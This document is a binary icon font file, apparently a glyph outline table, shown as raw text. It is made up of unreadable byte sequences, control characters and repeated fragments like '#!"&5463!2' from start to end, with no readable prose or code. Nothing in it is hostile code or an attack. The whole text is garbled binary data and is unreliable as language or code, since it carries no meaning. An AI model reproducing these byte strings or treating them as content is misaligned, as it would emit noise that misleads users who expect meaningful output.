2        /  4&#!"3!26#!#!"&54>5!"&5463!2 @^B  & &  B^^B@B^ @MB^%Q=&&<P&^B@B^^            + 3  "&5463!2#3!2654&#!"3#!"&=324+"3B^^B@B^^B@`^BB^p ^BB^^B@B^`@S`(88(``             '  $4&"2%4&#!"3!26#!"&5463!2&4&&4@^BB^^B@B^f4&&4&@B^^B@B^^            /  $4&"2%4&#!"3!264+";%#!"&5463!2/B//B   0L4 4LL4 4L_B//B/@M    4LL4 4LL            >& $$ (r^aa(^aa        ! C  #!"&54>;2+";2#!"&54>;2+";2 pPPpQh@&&@j8(PppPPpQh@&&@j8(Pp@PppPhQ&&j (8pPPppPhQ&&j (8p         ! C  +"&=46;26=4&+"&5463!2+"&=46;26=4&+"&5463!2 Qh@&&@j8(PppPPpQh@&&@j8(PppPPp@hQ&&j (8pPPppP@hQ&&j (8pPPpp     @@  	   # + 3 ; G  $#"&5462 "&462 "&462#"&462 "&462 "&462 "&462#"&54632K54LKj=KjKKjKjKKjL45KKjK<^^^KjKKjppp\]]\jKL45KjKKjKujKKjK4LKjKK^^^jKKjKpppr]]\            $$  ^aaQ^aa      ,  #"&5465654.+"'&47623  #>bqb&4  4&ɢ5"		#D7euU6 & 4 & m       1 X   ".4>2".4>24&#""'&#";2>#".'&547&5472632>3=T==T==T==T=v)GG+v@bRRb@=&\Nj!>3lkik3hPTDDTPTDDTPTDDTPTDD|xxXK--K|Mp<#	)>dA{RXtfOT# RNftWQ          ,  %4&#!"&=4&#!"3!26#!"&5463!2!2 8(@(88((88((8\@\\@\\(88(@(88(@(88@\\\\       u  ' E  4#!"3!2676%!54&#!"&=4&#!">#!"&5463!2!2325([5@(\& 8((88((8 ,9.+C\\@\ \6Z]#+#,k(88(@(88(;5E>:5E\\\ \1.           $ 4 @  "&'&676267> "&462"&462 .  > $$ n%%/02
KjKKjKKjKKjKfff^aayy/PccP/jKKjKKjKKjKffff@^aa        $ 4 @  &'."'.7>2 "&462"&462 .  > $$ n20/%7KjKKjKKjKKjKfff^aa3/PccP/y	jKKjKKjKKjKffff@^aa         + 7   #!"&463!2 "&462"&462 .  > $$ &&&&KjKKjKKjKKjKfff^aa4&&4&jKKjKKjKKjKffff@^aa       # + 3 C  54&+54&+"#";;26=3264&"2 4&"2$ #"'##"  3!2@@KjKKjKKjKKjKܒ,gjKKjKKjKKjKXԀ,,          # / ; G S _ k w       +"=4;27+"=4;2'+"=4;2#!"=43!2%+"=4;2'+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;54;2!#!"&5463!2```` ````````````` `` `` p` K55KK55Kp````````````````````````` 5KK55KK     @   * V  #"'.#"63232+"&5.5462#"/.#"#"'&547>32327676R?d^7ac77,9xm#@#KjK#
ڗXF@Fp:f_ #WIpp&3z	h[ 17q%q#::#5KKu't#!X:	%#+=&>7p   @    * 2 F r  56565'5&'.	#"32325#"'+"&5.5462#"/.#"#"'&547>32327676@ͳ82.,#,fk*1x-!#@#KjK#
ڗXF@Fp:f_ #WIpp&3z	e`vo8t-	:5	[*#::#5KKu't#!X:	%#+=&>7p    3  $  	"/&47	&4?62#!"&=463!2I.

2

w

2


-@).

2



2

.
-@@     -S  $ 9  %"'&4762		/.7>	"/&47	&4?62i2

.



2

w
E>u>.

2

w

2


2





2

ww
!h.

2



2

.
       ;  #"'&476#"'&7'.'#"'&476'  )'s"+5+@ա'  )'F* 4 *Er4M:}}8GO* 4 *     ~ 
 (  -/'	#"'%#"&7&67%632B;><V??V --C4
<B=cB5!%%!b 7I))9I7        	#"'.5!".67632y(
#
  ##@,(
)        8  !	!++"&=!"&5#"&=46;546;2!76232-SSS

		 SS``		

          K  $4&"24&"24&"27"&5467.546267>5.5462 8P88P88P88P8P88P4,CS,4pp4,,4pp4,6d7AL*',4ppP88P8P88P8HP88P8`4Y&+(>EY4PppP4Y4Y4PppP4Y%*<O4Y4Ppp        % @ \ h t   	"'&4762"&5462&#!"&463!2#"'&'7?654'7&#"&'&54?632#!"&463!2"&5462"'&4762 		 

	@USxySR#PT('#TUSxySN@ 		 

		 		

 		
3@xSSUO#'(V^'(PVvxSSUi @ 		

 		
   `     <  +"&=46;2+"&=467>54&#"#"/.7!2<'G,')7N;2]=A+#H0PRH6^;<T%-S#:/*@Z}

>h         .  %#!"&=46;#"&=463!232#!"&=463!2& &&@@&&&@&& && &&&&&&&&f&&&&   b      #!"&=463!2#!"&'&63!2 & && &' '%@% &&&& && &&    k % J  %#/&'#!53#5!36?!#!'&54>54&#"'6763235
Ź}4NZN4;)3.i%Sin1KXL7觧*		#&		*@jC?.>!&1'\%Awc8^;:+<!P        % I  %#/&'#!53#5!36?!#!'&54>54&#"'6763235
Ź}4NZN4;)3.i%PlnEcdJ觧*		#&		*-@jC?.>!&1'\%AwcBiC:D'P           %!	#!"&'&6763!2P &: &?&: &?5"K ,)""K ,)      h  #".#""#"&54>54&#"#"'./"'"5327654.54632326732>32YO)I-D%n "h.=T#)#lQTv%.%P_	%	%_P%.%vUPl#)#T=@/#,-91P+R[Ql#)#|''
59%D-I)OY[R+P19-,# #,-91P+R[YO)I-D%95%_P%.%v      ' 3   !2#!"&463!5& =462   =462 &546  &&&& &4&r&4& @&4&&4&G݀&&&&f    s   C K  &=462	#"'32 =462 !2#!"&463!5&'"/&4762%4632e*&4&i76`al&4& &&&& }n

R



R
zfOego&&5`3&&&4&&4&D

R



R
z v        "  !676"'.5463!2@@w^Cct~55~tcC&&@?J V|RIIR|V &&           # G  !!%4&+";26%4&+";26%#!"&546;546;2!546;232@@ @@L44LL4^B@B^^B@B^4L   N 4LL4 4L`B^^B``B^^B`L      L   4&"2%#"'%.5!#!"&54675#"#"'.7>7&5462!467%632 &4&&4@ o& &}c ;pG=(8Ai8^^.&4&&4&`	`fs&& jo/;J!#2
 KAE*,B^^B!`	   $   -   4&"2#"/&7#"/&767%676$!28P88PQr	@U	@
{`PTP88P8P`
	@U	@rQ           !6'&+!!!!2Ѥ8̙e;<*@8 !GGGQII            %764'	64/&"2  $$ f3f4:4^aaf4334f:4:^aa         %64'&"	2  $$ :4f3f4F^aa4f44f^aa         764'&"27	2  $$ f:4:f4334^aaf4:4f3^aa            %64/&"	&"2  $$ -f44f4^aa4f3f4:w^aa   @    7!!/#35%!'!%j/djg2|855dc b    @   !	!%!!7!FG)DH:&HdS)         U   4&"2#"/ $'#"'&5463!2#"&=46;5.546232+>7'&763!2&4&&4f]wq4qw]	`dC&&:FԖF:&&Cd`4&&4&	]]	`d[}&&"uFjjFu"&&y}[d       #  2#!"&546;4   +"&54&" (88(@(88( r&@&Ԗ 8((88(@(8@&&jj           ' 3   "&462 &         .  > $$  Ԗ>aX,fff^aaԖԖa>TX,,~ffff@^aa          /  +"&=46;2+"&=46;2+"&=46;28((88((8 8((88((8 8((88((8 (88((88((88((88((88((88           /  +"&=46;2+"&=46;2+"&=46;28((88((88((88((88((88((8 (88((88(88((88(88((88        5 E  $4&"2%& '&;26%&.$'&;276#!"&5463!2 KjKKjf	
\
w@wwwjKKjK"Gܚf


	@www             $64'&327/a^  !  ^aaJ@%%	  65   /  	64'&"2	"/64&"'&476227 <ij6j6u%k%~8p8}%%%k%}8p8~%<<ij4j4t%%~8p8~%k%%%}8p8}%k          54&#!"3!26#!"&5463!2 &&&& w@www@&&&&:@www        /  #!"&=463!24&#!"3!26#!"&5463!2@^BB^^B@B^www@w@@2@B^^BB^^ww@w        +#!"'&?63!#"'&762(@	@(@>@%%%         !232"'&76;!"/&76 ($>(		 J &%       $  %64/&"'&"2#!"&5463!2ff4-4ff4fw@wwwf4f-f4@www         /  #5#5'&76	764/&"%#!"&5463!248`# \P\w@www4`8#@  `\P\`@www        )  4&#!"273276#!"&5463!2 & *f4' w@www`&')4f*@www     % 5  	64'&"3276'7>332#!"&5463!2`'(wa8!
,j.(&w@www`4`*'?_`ze<	bw4/*@www           - .  6  $$     (r^aaO (_^aa       -  "'&763!24&#!"3!26#!"&5463!2yB((@ w@www]#@## @@www       -  #!"'&7624&#!"3!26#!"&5463!2y((@B@u@ w@www###@@@www       -   '&54764&#!"3!26#!"&5463!2@@####@ w@wwwB((@@www      `  %#" '#"&=46;&7#"&=46;6 32/.#"!2#!!2#!32>?6#!"'?_BCbCaf\	+~2	

	}0$q90r pr%Dpu       ?  #!"&=46;#"&=46;54632'.#"!2#!!546;2Da__	g	
*`-Uh1߫}
	$^L    4   b  +"&=.'&?676032654.'.5467546;2'.#"ǟB{PDg	q%%Q{%P46'-N/B).ĝ9kC<Q7>W*_x*%K./58`7E%_	,-3
cVO2")#,)9;J)"!*
#VD,'#/&>AX      >  ++"' '&=46;267!"&=463!&+"&=463!2+32Ԫ$
		pU9ӑ@/*fo	VRfqf=S     E  !#"&5!"&=463!5!"&=46;&76;2>76;232#!!2#![ 

%
)
	"JgUhBW&WXhUg        8   4&#!!2 #!!2#!+"&=#"&=46;5#"&=46;463!2j@jog|@~vvu            n  #467!!3'##467!++"'#+"&'#"&=46;'#"&=46;&76;2!6;2!6;232+32QKt# #FNQo!"դѧ!mY

Zga~bm]

[o"U+, @h
h@@Xhh@   8  3 H \  #5"'#"&+73273&#&+5275363534."#22>4.#2>ut3NtRP*Ho2
Lo@!R(Ozh=,G<X2O:&D1A.1G$<2I+A;"B,;&$LGlF/ 3D;a$8$".!3!
.          3!#!"&5463! 8( 8((88(  h (8(88(@(8         ( 8 H  !!#!"&5463!54&#!"3!2654&#!"3!2654&#!"3!26(D 8((88( 8@@@$(88(@(8(8 @@@@@@   " }  
 $ B R  3/&5##"'&76;46;232!56?5"#+#5!76;5!53'#3!533H

Dq		x7	K//KFh/"		@`Z		sYwjjjjj     " }  
 $ 4 R  %3/&5##"'&76;46;232!53'#3!533!56?5"#+#5!76;5H

K//KFq		x7	h/"		@`jjjjjZ		sY
w  "     ) 9 I Y  %#"'&76;46;232#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2

 @@  `		@`     "     ) 9 I Y  #!"&=463!2%#"'&76;46;232#!"&=463!2#!"&=463!2#!"&=463!2   

@@ r		@`r    "   
 $ C V  %4&#"326#"'&76;46;232%#"'&'73267##"&54632!5346=#'73BX;4>ID2F

8PuE>.'%&TeQ,jm{+>R{?jJrL6V		@`7>wmR1quWei/rr:Vr     "   
 $ 7 V  4&#"326#"'&76;46;232!5346=#'73#"'&'73267##"&54632BX;4>ID2F

+>R{8PuE>.'%&TeQ,jm{?jJrL6		@`rr:Vr3>wmR1quWei    @   \  %4&#"326#!"&5463!2+".'&'.5467>767>7>7632!2 &%%&&&& &7.'	:@$LBWM{#&$h1D!		.I/!	Nr&&%%&&&&V?, L=8=9%pEL+%%r@W!<%*',<2(<&L,"r       @    \  #"&546324&#!"3!26%#!#"'.'.'&'.'.546767>; &%%&&&& &i7qN	!/I.		!D1h$&#{MWBL$@:	'.&&%%&&&&=XNr%(M&<(2<,'*%<!W@r%%+LEp%9=8=L       	   + = \ d       %54#"327354"%###5#5#"'&53327#"'#3632#"'&=4762#3274645"=424'.'&!  7>76#'#3%54'&#"32763##"'&5#327#!"&5463!2BBPJNC'%!	B?)#!CC $)54f"@@
B+,A

A+&+A
ZK35N #J!1331CCC $)w@www2"33FYF~(-%"o4*)$(*	(&;;&&9LA38334S,;;,WT+<<+T;(\g7x:&&::&&<r%-@www       	   + = [ c }     #"'632#542%35!33!3##"'&5#327%54'&#"5#353276%5##"=354'&#"32767654"2 '.'&547>76 3#&'&'3#"'&=47632%#5#"'&53327''RZZ:kid YYY.06	62+YY-06	R[!.'CD''EH$VVX::YX;:Yfyd/%jG&DC&&CD&O[52.[$C-D..D^^* ly1%=^I86i077S3
$EWgO%33%OO%35	EEFWt;PP;pt;PP;pqJgTFQ%33&PP%33%R7>%3!+}   {  '  +"&72'&76;2+"'66;2U
&
	(P

*'eJ."-dZ-n -         ' 7  4'&+";27&+";276'56#!"&5463!2~}		7e 	۩w@www"$Q#'!#@www       
   I  -22#!&$/.'.'.'=&7>?>369II ! '	$ !01$$%A'	$ ! g	
\7@)(7Y
	
 \7@)(7Y
   @       	'5557	,VWQV.RW=?l%l`~0            !#!#%777	5!	R!!XCCfff݀# `,{{{`          O g   4&"2  &6 $"&462$"&62>7>7>&46.'.'.  '.'&7>76  Ԗ HR6L66LGHyU2LL2UyHHyU2LL2UyHn
X6X

XX
ԖԖH6L66L6L2UyHHyU2LL2UyHHyU2Ln6X

XX

           2#!"&5463 4&"2$4&"2ww@ww||||||w@www|||||||       	   !3	37!  $$  n6^55^h
^aaM1^aa    P 
  * C g  '.676.7>.'$7>&'.'&'? 7%&'.'.'>767$/u5'&$I7ob?K\[zH,1+.@\7<?5\V,$Vg.GR@ 7U,+!	#	"8$}{)<?L RR;kr,yE[z#	/1
"#	#eCI0/"5#`	"84~&p)4	2{H-.%W.L>       ' : Y i  4&67&'&676'.'>7646&' '7>6'&'&7>7#!"&5463!2PR$++'TJXj7-FC',,&C."!$28h/"	+p^&+3$i0(w@www+.i6=Bn\C1XR:#"'jj8Q.cAj57!?"0D$4"P[&2@www     D   "  %.5#5>7>;!!76PYhpN!HrD0M C0N#>8\xx: W]oW-X45       /  %'#.5!5!#"37>#!"&5463!2p>,;$4
 5eD+WcEw@wwwK()F
,VhV^9tjA0/@www  @     #"'&76;46;23

	 &

         ++"&5#"&7632	^

c &

     @    #!'&5476!2  &

^

b	        '&=!"&=463!546
 &

	
     q  & 8  #"'&#"#"5476323276326767q'T1[VA=QQ3qqHih"-bfGw^44O#A?66%CKJA}}  !"䒐""A$@C3^q|z=KK?6lk)           %!%!VVuuu^-m5w}n      ~    7 M [   264&"264&"2"&546+"&=##"&5'#"&5!467'&766276#"&54632    *<;V<<O@-K<V<<+*<J.@kclGH__H<+*<<*+<    <*R+<<+*<f.@+<<++<<+@.7uu7**R+<<++;; 	      "%3I  #5472&6&67><&4'>&4.'.'.'.'.'&6&'.'.6767645.'#.'6&'&7676"&'&627>76'&7>'&'&'&'&766'.7>7676>76&6763>6&'&232.'.6'4."7674.'&#>7626'.'&#"'.'.'&676.67>7>5'&7>.'&'&'&7>7>767&'&67636'.'&67>7>.'.67	\

	U7	
J#!W!'	"';%
k	)"	
	'

/7* 		I	,6
*&"!O6*O $.(	*.'
.x,	$CN	
		*	
6		
7%&&_f&
",VL,G$3@@$+
"


V5 3"	""#dA++
y0D-%&n4P'A5j$9E#"c7Y
6"	&
8Z(;=I50' !!eR

"+0n?t(-z.'<>R$A"24B@(	~	9B9,	*$				<>	?0D9f?Ae 	.(;1.D	4H&.Ct iY% *	
7J	 <W0%$	
""I!*D	 ,4A'4J"	.0f6D4pZ{+*D_wqi;W1G("%%T7F}AG!1#% JG3        ' . 2 > V b  %&#'32&'!>?>'&' &>"6&#">&'>26 $$  *b6~#= XP2{&%gx| .W)oOLOsEzG<	CK}E	$MFD<5+
z^aa$MWM1>]|YY^DեA<KmE6<"@9I5*^aa       > ^  4./.543232654.#"#".#"32>#"'#"$&547&54632632':XM1h*+D($,/9p`DoC&JV<Z PA3Q1*223IoBkែhMIoPែhMIoP2S6,M!"@-7Y.?oI=[<%$('3 -- <-\%FuPoIMhPoIMh    ,  # ? D  76&#!"7>;267676&#!"&=463!267
#!"'&5463!26%8#!&&Z"M>2!	^I7LRx_@>MN""`=&&*%I},
		L7_jj9          /  %4&#!"3!264&#!"3!26#!"&5463!2  &&&&  &&&&         1 9  #"'#++"&5#"&5475##"&54763!2 "&462 8(3-	&B..B&	-3(8 IggI `(8+Ue&.BB.&+8(kk`      % -  "&5#"&5#"&5#"&5463!2 "&462 8P8@B\B@B\B@8P8pPPp@`(88(`p.BB.0.BB.(88(Pppͺ      !  %>&'&#"'.$ $$ ^/(V=$<;$=V).X^aaJ`"(("`J^aa    ,   I   4."2>%'%"/'&5%&'&?'&767%476762%6[՛[[՛oܴ
 
		$$	"	$$		՛[[՛[[5`

^^

2``2

^^

`     1  %#"$54732$%#"$&546$76327668ʴhf킐&^zs,!V[vn)	6<ׂf{z}))Ns3(  @   +   4&#!"3!2#!"&5463!2#!"&5463!2@& && f&&&&@& && &4&&4& @&&&& && &&    ` B H   +"/##"./#"'.?&5#"&46;'&462!76232!46 `&C6@Bb03eI;:&&&4L4&F
Z4&w4) ''5r&4&&4&&4    }G   #&/.#./.'&4?63%27>'./&'&7676>767>?>%6})(."2*& @P9A
#sGq]
#lh<*46+(	
<5R5"*>%</
 '2@ 53*9*,Z&VE/#E+)AC
(	2k<X1$:hI(B"	!:4Y&>"/	+[>hy
	   K 
  ! / U i   %6&'&676&'&6'.7>%.$76$% $.5476$6?62'.76&&'&676%.76&'..676#"NDQt	-okQ//jo_		%&JՂYJA-.--
9\DtT+X?*<UW3'	26$>>W0{"F!"E ^f`$"_]\<`F`FDh>CwlsJ@;=?s:i_^{8+?`)O`s2RDE58/K       r 	    #"'>7&4$&5mī"#̵$5$"^^W=acE*c      z  k  ./ "&4636$7.'>67.'>65.67>&/>z X^hc^O<q+f$H^XbVS!rȇr?5GD_RV@-FbV=3!G84&3Im<$/6X_D'=NUTL;2KPwtPt= 

&ռ,J~S/#NL,8JsF);??1zIEJpqDIPZXSF6\?5:NR=;.&1          +!"&=!!%!5463!2sQ9Qs***sQNQsBUwwUBF H CCTww      % 1   #"&=!"&=463!54632.  6  $$ 		`?(r^aa		
(_^aa         % 1  #!#"'&47632!2.  6  $$ 		@	`(r^aa
?		@	(_^aa        /  #"'&476324&#!"3!26#!"&5463!2 &@& @ w@www&@B@&@@www          "&462  >& $$  Ԗ*(r^aaԖԖ (^aa       ]  6  #"$547 32>%#"'!"&'&7>32'!!!2f:лѪz~u: ((%`V6B^hD%i(]̳ޛ	*>6߅r#!3?^BEa߀#9       # 3  6'&632#"'&'&63232#!"&5463!2
Q,&U#+' ;il4L92<D`w@www`9ܩ6ɽ]`C477&@www       D  +"&5#"'&=4?5#"'&=4?546;2%6%66 546;2
	
	wwwwcB
G]B
Gty]ty      # 3 C  #!+"&5!"&=463!46;2!24&#!"3!26#!"&5463!2@`@`^BB^^B@B^www@w@`@`2@B^^BB^^ww@w        ' / ? P  +5#"&547.467&546;532!764'!"+32#323!&ln@:MM:@nY*Yz--zY*55QDDU9pY-`]]`.X /2I$	t@@/!!/@@3,$,3$p$00&*0&&!P@     R V  2#"&/#"&/#"&546?#"&546?'&54632%'&54632763276%>S]8T;/M77T</L7=Q7,i<R7,5T</L666U;/M5<U<,i6iQ=a!;;V6-j;V6-5	P=/L596Q</L5<U6-i;V7,7O;-I68i;k         ) I  2#!"&5463#9"'.'.'3!264&#!"2>7%>ww@ww!"5bBBb//*
8(@(87)(8=%/'#?w@www#~$EE y &L(88e):8(%O r		

		O           ? G Q a q  47&67>&&'&67>&"&#6$32#"#"'654   $&6  $6&$ CoL.*KPx.* 
iSƓi
7J?~pi{_Я;lLUZ=刈刈_t'<Z :!
	@!
j`Q7$ky, Rfk*4LlL=Z=刈           &$&546$7%7&'5>]5%w  &P?zrSF!|         & 0  	##!"&5#5!3!3!3!32!546;2!5463)
)     ;));;)) &&        &@@&&&    	   6   $&727 "'%+"'&7&54767%&4762֬>4Pt+8?::
		
::AW``EvEEvE<."e$IE&O&EI&{h.`  m  "  &#"& '327>73271[>+)@(]:2,C?*%Zx/658:@#N
C=E(oE=W'c:     #  !#"$&6$3 &#"32>7! ڝyy,{ۀہW^F!LC=y:yw߂0H\R%          " N ^   '&76232762$"&5462"&46274&"&'264&#"'&&#"32$54'>$ $&6$ G>>0yx14J55J5J44J5Fd$?4J55%6E#42F%$fLlLq>>11J44%&4Z%44J54R1F$Z-%45J521Z%F1#:ʎ 9LlL          # Q a  "'&7622762%"&5462"&546274&#"&'73264&#"'&&#"32654'>#!"&5463!255**.>.-@-R.>.-@-<+*q6- -- 0<o,+< 3w@www55**.. -- .. --G*<N' ,-@-+*M <*2zz1@www      0 <  754&""&=#326546325##"&='26  $$ bZtt&sRQsZ<tsQ^aa>OpoOxzRrqP6z~{{Prr^aa    ]  0  54&"#"&5!2654632!#"&57265&<T<H<T<H<T<8v*<<*
+;;+l:=:*;;*         %!!"!!26#!"&5463!2@ ]]@w@www] @@www         	     % )  3!!#335!!5!5!%#!!5!5!%#HH{RHH{GG{)qGRRqRRq     	  # 0 @   #"'632 #"'632 &#"7532&#"#7532#!"&5463!2L5+*5L5+*5~}7W|3B}}JC7=}w@wwwDZQ[1N:_)i$)@www   
 )	             6.#&#"'&547>'&#".'&'#"&5467%&4>7>3263232654.547'654'63277.'.*#">7?67>?>32#"'7'>3'>3235?KcgA+![<E0y$,<'.cI
	,# '!;7$=ep	//7/
D+R>,7*
2(-#=
	/~[(D?G  |,)"#+)O8,+'6	y{=@0mI#938OAE`
-
)y_/FwaH8j7=7?%a	%%!?)L
J9=5]~pj
 %(1$",I $@((
+!.S		-L__$'-9L	5V+	
	6T+6.8-$0+t|S1       6 ]   &#"'&#"67>76'&'&#"67>32764.#"#.32>67>7 $&54>7>7>7rJ@"kb2)W+,5/1		#

Z
-!$IOXp7sLCF9vz NAG#/ 5|Հ';RKR/J#=$,9,+$UCS7'2"1
 !/
,
/--ST(::(ep4AM@=I>".)xΤlsY|qK@
%(YQ&NEHv~        < Z x  '#"&5467&6?2?'&"/.7.546326#"&'&/7264/7'764&"'?>>32.AUpIUxYE.A%%%h%%hJ%D,FZxULsTgxUJrVD%hJ%@/LefL.C%Jh%CVsNUxϠ@.FZyUHpVA%h&%%%Ji%CWpIUybJ/Uy^G,D%Jh%@UsMtUC%hJ%C-Kfy        E X [ _ g j    &/&'.''67>7>7&'&'&'>76763>7>#&'&'767672'%'7'+"&'&546323267>7%#"'4'6767672,32,+DCCQLDf'
%:/d
B	4@}&!0$?Jfdf-.=6(:!TO?
!IG_U%
.k*.=;	5gN_X	"
##
292Q41*6nA;|BSN.	%1$6	$nk^        ' 7 G W g w       2+"&5463#!"&5463!254&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";26#"&=! B^^BB^^B:FjB^8((`(   `(8^BB^^B@B^"vE j^B (8(`( 8(         / ? O _ o         /?  2#!"&5463;26=4&+";26=4&+";26=4&+";26=4&+"54&+";2654&+";2654&+";2654&+";2654&+";2654&#!"3!2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";26@&& &&@@@@@@@@@@@@@@@@@@ @@@@@@@@@ @@@@@@@@@@ &&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    @`  '  	"&5#"&5&4762!762$"&462B\B@B\BOpP.BB..BB.8$PO広      3 C Q  #".54>32#".546322#"&#"#"54>%".54>32%2#"&54>&X=L|<&X=M{<TMLFTMLFv"?B+D?BJpH=X&<{M=X&<|dMTFLMTF(<kNsI<kNsPvoJPwo/s.=ZYVӮvNk<JsNk<IshwPJovPJo  @     +"&7.54>2r_-$$-_rUU%&&5%ő            '-"'.546762@FF$@B@$.&,&.]]|q #<<# (B  B               B  %'-%'-'%'-"'%&'"'%.5467%467%62@ll@ll,@GG&!@@@@@@!&+#+#6#+$*`:p:px
p=`$>>$&@&@

@&p@       	  & . A  !!"!&2673!"54 32!%!254#!5!2654#!%!2#!8Zp?vdΊens6(N[RWu?rt1SrF|iZ@7މoy2IMC~[R yK{T:         % , A G K  2#!"&5463!!2654'654.#532#532"&5!654&#"327#2#>!!ww@ww~uk'JTMwa|
DH>I1qFj?w@wwwsq*4p9O*¸Z^qh LE
"(nz8B
M         ' ?   "&462 4&#"'.'324&#"3267 ##"&/6326 32 .ʏhhMALR vGhг~~KyO^ʏʏВ*LM@!<I~~t\0          C M   4&"2 #"&'676&/632#!"&=3267%2654&#"&#"%463!2"&4632rqqtR8^4.<x3=RRw@w_h
YӖ	K>שwwȍde)qrOPqȦs:03=<x!m@wwE\xgӕє%wwdȎ  V   - < K \  %.'.>7'.?67'67%'>&%'7%7./6D\$>	"N,?a0#O1G9'/P(1#00($=!F"9|]"RE<6'o9%8J$\:\HiTe<?}V#oj?d,6%N#"
HlSVY]C=    @     C   4&"2!.#!" 4&"2+"&=!"&=#"&546;>3!232^^^Y	 	^^^`pp pp`]ib bi]~^^^e^^^ PppPPppP]^^]       3 ; E M  2+"&=!"&=#"&546;>;5463!232 264&"!.#!" 264&" ]`pp pp`]ibbi^^^dY	 	!^^^]@PppP@@PppP@]^^] ^^^e^^^      3  $#!#!"&5467!"&47#"&47#"&4762++&2
$$
2&&&4&&Z4&&##&&4&4&44&m4&m      + D P  4'&#"32763232674'&!"32763 3264'&$#"32763232> $$ g* o`#ə0#z#l(~̠)-g+^aaF s"	+g(*3#!|#/IK/%*%D=)[^aa        	!!!'!!77! ,/,-a/G      	 t  % / ; < H T b c q         %7.#"32%74'&"32765"/7627#"5'7432#"/7632#"5'7432#"&5'74632	#"/6327#"/6327#"/46329"&/462"&/>21"&/567632#!.547632 632
		*
			X		

^`		

^b	c
	fuU`59u


4J
	l~		~	F	
	2		m|O, 	
ru|	u
"           ) 9    $7 $&=  $7 $&=  $7 $&=   $&=46w`ww`ww`wb` VTEvEEvETVTEvEEvET*VTEvEEvET*EvEEvEEvEEv         # ^ c t    #!"&5463!2!&'&!"&5!632#"&'#"/&'&7>766767.76;267674767&5&5&'67.'&'&#3274(8((88((`x
c`(8 !3;:A0?ݫY
	^U	47D$	74U3I|L38wtL0`((88(@(8(D9 8( Q1&(!;
(g-	Up~R2(/{E(Xz*Z%(i6CmVo8            # T  #!"&5463!2!&'&!"&5!3367653335!3#4.5.'##'&'35(8((88((`x
c`(8 iFFZcrcZ`((88(@(8(D9 8( kk"	kkJ	 	!	k          # S  #!"&5463!2!&'&!"&5!%!5#7>;#!5#35!3#&'&/35!3(8((88((`x
c`(8 -Kg
kL#DCJgjLD`((88(@(8(D9 8( jj	jjkkkk            # 8 C  #!"&5463!2!&'&!"&5!%!5#5327>54&'&#!3#32(8((88((`x
c`(8  G]L*COJ?0R\wx48>`((88(@(8(D9 8( jjRQxk!RY            # * 2  #!"&5463!2!&'&!"&5!!57"&462(8((88((`x
c`(8  Pppp`((88(@(8(D9 8( ppp  	          # * 7 J R  5#5#5#5##!"&5463!2!&'&!"&5##5!"&54765332264&"  <(8((88((`x
c`(8 kޑcO"jKKjK`((88(@(8(D9 8( SmmS?M&4&&4            # 9 L ^  #!"&5463!2!&'&!"&5!#"/#"&=46;76276'.'2764'.(8((88((`x
c`(8 6ddWW6&44`((88(@(8(D9 8( .	G5{{5]]$5995           # 3 C  #!"&5463!2!&'&!"&5!2#!"&5463#"'5632(8((88((`x
c`(8 4LL44LL4l			`((88(@(8(D9 8( L44LL44L	
Z
	           # 7 K [  #!"&5463!2!&'&!"&5!>&'&7!/.?'&6?6.7>'(8((88((`x
c`(8 `3333v?`((88(@(8(D9 8( &&-&&?
  '  6  #'.
'!67&54632".'654&#"32eaAɢ/PRAids`WXyzOvд:C;A:25@Ң>-05rn`H(' gQWZc[          
     -  %7'	%'-'%	%"'&54762[3[MN3",""3,3"ong$߆]gn$+)")")"         x # W  #"&#!+.5467&546326$32327.'#"&5463232654&#"632#".#"oGn\u_MK'̨|g?CM7MM5,QAAIQqAy{b]BL4PJ9+OABIRo?z.z
n6'+s:zcIAC65D*DRRD*wyal@B39E*DRRD*             ' / 7     $&6$ 6277&47'  7'"' 6& 6'lLRRZB|RR>dZZ LlLZRR«Z&>«|R     !   $&54$7  >54 '5PffP牉@s-ff`-      c  6721>?>././76&/7>?>?>./&31#"$&(@8!IH2hM>'
)-*h'N'!'Og,R"/!YQG<I *1)
(-O1D+0nz3fwG2'3rd1!sF0o .q"!%GsH8@-!5|w|pgS="B2PJfhGdR 	        ( P ] l y    &$'77&7567'676'"'7&'&'7&47'6767'627''6$ '67'654'7&'7'&'&'7&'5 &$  $6 $&6$ jj:,AAS9bb9R#:j8AܔA,zC9Z04\40Z9C!B;X0,l,0X;B*A8ܔA&#9j`b9S$#R99#&A8A`䇇<Z<䳎LlLfBϬ"129,V<4!!88dpm"BV,92[P*V*P\MC

CM\P*V*P]LD

DL&BV*8*8!f!4<gmpd88!&!8*8*VB Z<䇇䇇LlL        9 E i s   %#"5432#"543275#&#"3254&'.547>54'63&547#5#"=3235#47##6323#324&"26%#!"&5463!2F]kbf$JMM$&N92<Vv;,&)q(DL+`N11MZ
%G&54	#	i<$8&@0H12F1dw@wwwB?@UTZ3%}rV2hD5%f-C#C@,nO	a7.0x2	yRuR/u%6;&$76%$56S@www     D     < H l w  %4#"324&#"32!".5475&5475.546322#654'3%#".535"&#"5354'33"&+32 #"&54632S;<;||w$+|('-GVVG-EznAC?H_`Rb]Gg>Z2&`9UW=N9:PO;:dhe\=R
+)&')-S99kJ<)UmQ/-Ya^"![Y'(<`X;_L6#)|tWW:;X          	#'#3#!"&5463!2)
p*xeשw@www0,\8@www  9    I   #"'#"&'&>767&5462#"'.7>32>4."&'&54>32JrO<3>5-&FD(=Gq@C$39aLL²L4
&)
@]vq#CO!~󿵂<ZK#*Pq.%L²LLarh({w؜\     i  &5467&6747632#".'&##".'&'.'#".5467>72765'./"#"&'&5}1R<2"7MW'$	;IS7@5sQ@@)R#DvTA;
0xI)!:>+<B76:NFcP:SC4rl+r E%.*a-(6%('>)C	6.      >  
  ! - I [   4&#"324&#"3264&#"324&#"326&#"#".'7$4$32'#"$&6$32D2)+BB+)3(--(31)+BB+)4'--'4'#!0>R	HMŰ9ou7ǖD䣣
R23('3_,--,R23('3_,--,NJ
?uWm%        #"'%#"'.5	%&'&7632! ;	`u%"( !]#c)(	            #"'%#"'.5%&'&76	! 	(%##fP_"( !)'+ŉ       4 I   #"$'&6?6332>4.#"#!"&54766$32#!"&=46;46;2 z䜬m
IwhQQhbF*@&('k@z
	
